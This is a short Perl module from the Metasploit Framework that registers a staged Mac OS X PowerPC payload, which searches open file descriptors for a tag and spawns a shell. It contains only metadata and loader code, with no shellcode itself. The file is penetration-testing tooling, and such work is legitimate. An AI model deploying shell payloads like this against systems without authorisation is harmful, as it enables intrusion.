##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Payload::osx_ppc_findrecv_stg;
use strict;
use base 'Msf::PayloadComponent::OSX::ppc::ShellStage';
my $info =
{
'Name' => 'Mac OS X PPC Staged Find Recv Shell',
'Version' => '$Revision: 1615 $',
'Description' => 'Search file descriptors for a tag and spawn a shell as a stage',
};
sub _Load
{
Msf::PayloadComponent::OSX::ppc::ShellStage->_Import('Msf::PayloadComponent::OSX::ppc::FindRecvStager');
__PACKAGE__->SUPER::_Load();
}
sub new
{
my $class = shift;
my $hash = @_ ? shift : { };
_Load();
$hash = $class->MergeHashRec($hash, { 'Info' => $info });
my $self = $class->SUPER::new($hash, @_);
return $self;
}
1;